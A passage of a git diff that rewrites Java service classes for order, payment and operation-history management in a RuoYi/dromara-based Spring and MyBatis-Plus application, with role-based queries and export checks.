Boolean insertByBo(TpOrderPayBo bo) { - TpOrderPay add = MapstructUtils.convert(bo, TpOrderPay.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改订单支付记录 - * - * @param bo 订单支付记录 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderPayBo bo) { - TpOrderPay update = MapstructUtils.convert(bo, TpOrderPay.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderPay entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除订单支付记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderPay; +import org.dromara.work.domain.bo.TpOrderPayBo; +import org.dromara.work.domain.vo.TpOrderPayVo; +import org.dromara.work.mapper.TpOrderPayMapper; +import org.dromara.work.service.ITpOrderPayService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 订单支付记录Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderPayServiceImpl implements ITpOrderPayService { + + private final TpOrderPayMapper baseMapper; + + /** + * 查询订单支付记录 + * + * @param id 主键 + * @return 订单支付记录 + */ + @Override + public TpOrderPayVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询订单支付记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单支付记录分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderPayBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的订单支付记录列表 + * + * @param bo 查询条件 + * @return 订单支付记录列表 + */ + @Override + public List queryList(TpOrderPayBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpOrderPayBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getOid() != null, TpOrderPay::getOid, bo.getOid()); + lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrderPay::getOrderId, bo.getOrderId()); + lqw.eq(bo.getPrice() != null, TpOrderPay::getPrice, bo.getPrice()); + lqw.eq(bo.getState() != null, TpOrderPay::getState, bo.getState()); + lqw.eq(bo.getAddTime() != null, TpOrderPay::getAddTime, bo.getAddTime()); + lqw.eq(StringUtils.isNotBlank(bo.getTransactionId()), TpOrderPay::getTransactionId, bo.getTransactionId()); + return lqw; + } + + /** + * 新增订单支付记录 + * + * @param bo 订单支付记录 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderPayBo bo) { + TpOrderPay add = MapstructUtils.convert(bo, TpOrderPay.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改订单支付记录 + * + * @param bo 订单支付记录 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderPayBo bo) { + TpOrderPay update = MapstructUtils.convert(bo, TpOrderPay.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderPay entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除订单支付记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderRecordServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderRecordServiceImpl.java index 54c4a72..9306704 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderRecordServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderRecordServiceImpl.java @@ -1,153 +1,153 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.bo.TpOrderRecordBo; -import org.dromara.work.domain.vo.TpOrderRecordVo; -import org.dromara.work.mapper.TpOrderRecordMapper; -import org.dromara.work.service.ITpOrderRecordService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 操作历史Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderRecordServiceImpl extends MPJBaseServiceImpl implements ITpOrderRecordService { - - private final TpOrderRecordMapper baseMapper; - - /** - * 查询操作历史 - * - * @param id 主键 - * @return 操作历史 - */ - @Override - public TpOrderRecordVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询操作历史列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 操作历史分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderRecordBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderRecord.class) - .selectAs(SysUser::getRealName,TpOrderRecordVo::getAddUserName) - .leftJoin(SysUser.class,SysUser::getUserId,TpOrderRecord::getAddUser) - .eq(loginUser.getIdentity() == 3,TpOrderRecord::getState,1L) - .orderByDesc(TpOrderRecord::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderRecordVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - - /** - * 查询符合条件的操作历史列表 - * - * @param bo 查询条件 - * @return 操作历史列表 - */ - @Override - public List queryList(TpOrderRecordBo bo) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderRecord.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderRecord::getId); - return baseMapper.selectVoList(wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderRecordBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getOid() != null, TpOrderRecord::getOid, bo.getOid()); - lqw.eq(StringUtils.isNotBlank(bo.getType()), TpOrderRecord::getType, bo.getType()); - lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpOrderRecord::getContent, bo.getContent()); - lqw.eq(bo.getAddUser() != null, TpOrderRecord::getAddUser, bo.getAddUser()); - lqw.eq(bo.getAddTime() != null, TpOrderRecord::getAddTime, bo.getAddTime()); - lqw.eq(bo.getState() != null, TpOrderRecord::getState, bo.getState()); - return lqw; - } - - /** - * 新增操作历史 - * - * @param bo 操作历史 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderRecordBo bo) { - TpOrderRecord add = MapstructUtils.convert(bo, TpOrderRecord.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改操作历史 - * - * @param bo 操作历史 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderRecordBo bo) { - TpOrderRecord update = MapstructUtils.convert(bo, TpOrderRecord.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderRecord entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除操作历史信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.bo.TpOrderRecordBo; +import org.dromara.work.domain.vo.TpOrderRecordVo; +import org.dromara.work.mapper.TpOrderRecordMapper; +import org.dromara.work.service.ITpOrderRecordService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 操作历史Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderRecordServiceImpl extends MPJBaseServiceImpl implements ITpOrderRecordService { + + private final TpOrderRecordMapper baseMapper; + + /** + * 查询操作历史 + * + * @param id 主键 + * @return 操作历史 + */ + @Override + public TpOrderRecordVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询操作历史列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 操作历史分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderRecordBo bo, PageQuery pageQuery) { + LoginUser loginUser = LoginHelper.getLoginUser(); + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderRecord.class) + .selectAs(SysUser::getRealName,TpOrderRecordVo::getAddUserName) + .leftJoin(SysUser.class,SysUser::getUserId,TpOrderRecord::getAddUser) + .eq(loginUser.getIdentity() == 3,TpOrderRecord::getState,1L) + .orderByDesc(TpOrderRecord::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderRecordVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + + /** + * 查询符合条件的操作历史列表 + * + * @param bo 查询条件 + * @return 操作历史列表 + */ + @Override + public List queryList(TpOrderRecordBo bo) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderRecord.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderRecord::getId); + return baseMapper.selectVoList(wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderRecordBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getOid() != null, TpOrderRecord::getOid, bo.getOid()); + lqw.eq(StringUtils.isNotBlank(bo.getType()), TpOrderRecord::getType, bo.getType()); + lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpOrderRecord::getContent, bo.getContent()); + lqw.eq(bo.getAddUser() != null, TpOrderRecord::getAddUser, bo.getAddUser()); + lqw.eq(bo.getAddTime() != null, TpOrderRecord::getAddTime, bo.getAddTime()); + lqw.eq(bo.getState() != null, TpOrderRecord::getState, bo.getState()); + return lqw; + } + + /** + * 新增操作历史 + * + * @param bo 操作历史 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderRecordBo bo) { + TpOrderRecord add = MapstructUtils.convert(bo, TpOrderRecord.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改操作历史 + * + * @param bo 操作历史 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderRecordBo bo) { + TpOrderRecord update = MapstructUtils.convert(bo, TpOrderRecord.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderRecord entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除操作历史信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderServiceImpl.java index 5bc4b48..2573e00 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderServiceImpl.java @@ -1,1492 +1,1541 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRole; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.domain.SysUser; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.mapper.SysRoleMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.*; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpOrderBo; -import org.dromara.work.domain.vo.*; -import org.dromara.work.mapper.*; -import org.dromara.work.service.ITpOrderService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Propagation; -import org.springframework.transaction.annotation.Transactional; - -import java.math.BigDecimal; -import java.math.RoundingMode; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.util.*; -import java.util.stream.Collectors; - -/** - * 订单管理Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderServiceImpl extends MPJBaseServiceImpl implements ITpOrderService { - - private final TpOrderMapper baseMapper; - - private final TpOrderSmallMapper smallMapper; - - private final TpOrderBigMapper bigMapper; - - private final TpOrderModelMapper modelMapper; - - private final TpOrderRecordMapper recordMapper; - - private final TpClientMapper clientMapper; - - private final TpClientStaffMapper clientStaffMapper; - - private final SysUserMapper sysUserMapper; - - private final TpMonthMapper monthMapper; - - private final TpYearMapper yearMapper; - - private final SysDeptMapper deptMapper; - - private final SysRoleMapper roleMapper; - - private final SysRoleDeptMapper roleDeptMapper; - - private final TpStaffPayMapper staffPayMapper; - - - /** - * 查询订单管理 - * - * @param id 主键 - * @return 订单管理 - */ - @Override - public TpOrderVo queryById(Long id){ - LoginUser loginUser = LoginHelper.getLoginUser(); - MPJLambdaWrapper wrapper = new MPJLambdaWrapper<>(); - wrapper.selectAll(TpOrder.class); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAs(TpClient::getName,TpOrderVo::getCname); - }else { - if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ - wrapper.selectAs(TpClientStaff::getName,TpOrderVo::getCname); - } - } - wrapper.selectAs("s.nick_name",TpOrderVo::getSname) - .selectAs("f.nick_name",TpOrderVo::getFname) - .selectAs("b.nick_name",TpOrderVo::getBname) - .selectAs(TpWechat::getCode,TpOrderVo::getWname) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); - wrapper.eq(id != null, TpOrder::getId, id); - return baseMapper.selectJoinOne(TpOrderVo.class,wrapper); - } - - /** - * 查询订单信息 - * - * @param id - * @return - */ - @Override - public TpOrderVo selectById(Long id) { - MPJLambdaWrapper wrapper = new MPJLambdaWrapper<>(); - wrapper.selectAll(TpOrder.class); - wrapper.selectAs(TpClient::getName,TpOrderVo::getCname); - wrapper.selectAs("s.nick_name",TpOrderVo::getSname) - .selectAs("f.nick_name",TpOrderVo::getFname) - .selectAs("b.nick_name",TpOrderVo::getBname) - .selectAs(TpWechat::getCode,TpOrderVo::getWname) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); - wrapper.eq(id != null, TpOrder::getId, id); - return baseMapper.selectJoinOne(TpOrderVo.class,wrapper); - } - - /** - * 回收站导出订单 - * - * @param bo - * @return - */ - @Override - public List queryList(TpOrderBo bo) { - bo.setIsDel(2); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrder.class) - .selectAs("s.nick_name",TpOrderVo::getSname) - .selectAs("f.nick_name",TpOrderVo::getFname) - .selectAs("b.nick_name",TpOrderVo::getBname) - .selectAs(TpClient::getName,TpOrderVo::getCname) - .selectAs(TpWechat::getCode,TpOrderVo::getWname) - .selectAs("concat(round(t.pay_price/t.price * 100),'%')",TpOrderVo::getBili) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) - .orderByDesc(TpOrder::getId); - return baseMapper.selectJoinList(TpOrderVo.class,wrapper); - } - - /** - * 客服订单导出 - * @param bo - * @return - */ - @Override - public List queryListKF(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser != null && loginUser.getIdentity() == 2){ - throw new ServiceException("您无权限导出客服订单列表"); - } - bo.setIsDel(1); - bo.setKfOrjs(1); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAll(TpOrder.class); - wrapper.selectAs(TpClient::getName,CustomerOrderVo::getCname); - }else { - if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getKfpay,TpOrder::getState,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getDtTime); - wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); - }else { - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getState,TpOrder::getDtTime); - } - } - wrapper.selectAs("s.nick_name",CustomerOrderVo::getSname) - .selectAs("f.nick_name",CustomerOrderVo::getFname) - .selectAs("b.nick_name",CustomerOrderVo::getBname) - .selectAs(TpWechat::getCode,CustomerOrderVo::getWname) - .selectAs("concat(round(t.pay_price/t.price * 100),'%')",CustomerOrderVo::getBili) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) - .orderByDesc(TpOrder::getId); - return baseMapper.selectJoinList(TpOrderVo.class,wrapper); - } - - /** - * 导出技术订单 - * - * @param bo - * @return - */ - @Override - public List queryListJS(TpOrderBo bo) { - if (isNotBeforeToday9AM(bo.getParams().get("addEndTime").toString())){ - throw new ServiceException("查询时间不能是今天"); - } - bo.setIsDel(1); - bo.setKfOrjs(2); - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser != null && loginUser.getIdentity() == 3){ - throw new ServiceException("您无权限查看技术订单列表"); - } - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAll(TpOrder.class); - }else { - if (loginUser.getIdentity() == 2 || loginUser.getIdentity() == 1){ - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime); - wrapper.eq(TpOrder::getBid,loginUser.getUserId()); - }else { - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime); - } - } - wrapper.selectAs("s.nick_name",SkillOrderVo::getSname) - .selectAs("f.nick_name",SkillOrderVo::getFname) - .selectAs("b.nick_name",SkillOrderVo::getBname) - .selectAs(TpClient::getName,SkillOrderVo::getCname) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .isNotNull(TpOrder::getBid) - .orderByDesc(TpOrder::getId); - - return baseMapper.selectJoinList(TpOrderVo.class,wrapper); - } - - /** - * 分页查询订单管理列表(订单回收站) - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单管理分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderBo bo, PageQuery pageQuery) { - bo.setIsDel(2); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrder.class) - .selectAs("s.nick_name",TpOrderVo::getSname) - .selectAs("f.nick_name",TpOrderVo::getFname) - .selectAs("b.nick_name",TpOrderVo::getBname) - .selectAs(TpClient::getName,TpOrderVo::getCname) - .selectAs(TpWechat::getCode,TpOrderVo::getWname) - .selectAs("concat(round(t.pay_price/t.price * 100),'%')",TpOrderVo::getBili) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid) - .orderByDesc(TpOrder::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 客服订单查询 - * @param bo - * @param pageQuery - * @return - */ - @Override - public TableDataInfo queryCustomerPageList(TpOrderBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - bo.setIsDel(1); - bo.setKfOrjs(1); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapperKF(bo); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAll(TpOrder.class); - wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); - }else { - if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1){ - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getKfpay,TpOrder::getState,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getDtTime,TpOrder::getSid,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); - wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); - }else { - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getRemark,TpOrder::getType,TpOrder::getAddTime,TpOrder::getNum,TpOrder::getJsRemark,TpOrder::getPrice,TpOrder::getPayState,TpOrder::getPayPrice,TpOrder::getEndPrice,TpOrder::getGjPrice,TpOrder::getGpay,TpOrder::getIsCd,TpOrder::getState,TpOrder::getDtTime,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); - wrapper.selectAs(TpClientStaff::getName,CustomerOrderVo::getCname); - } - } - wrapper.selectAs("s.nick_name",CustomerOrderVo::getSname) - .selectAs("f.nick_name",CustomerOrderVo::getFname) - .selectAs("b.nick_name",CustomerOrderVo::getBname) - .selectAs(TpWechat::getCode,CustomerOrderVo::getWname) - .selectAs("concat(round((t.pay_price + t.coupon)/t.price * 100),'%')",CustomerOrderVo::getBili) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .leftJoin(TpWechat.class,TpWechat::getId,TpOrder::getWid); - - if (bo.getByTwo() != null){ - wrapper.orderByDesc(TpOrder::getByFour); - }else{ - wrapper .orderByDesc(TpOrder::getId); - } - - //分页查询 (需要启用 mybatis plus 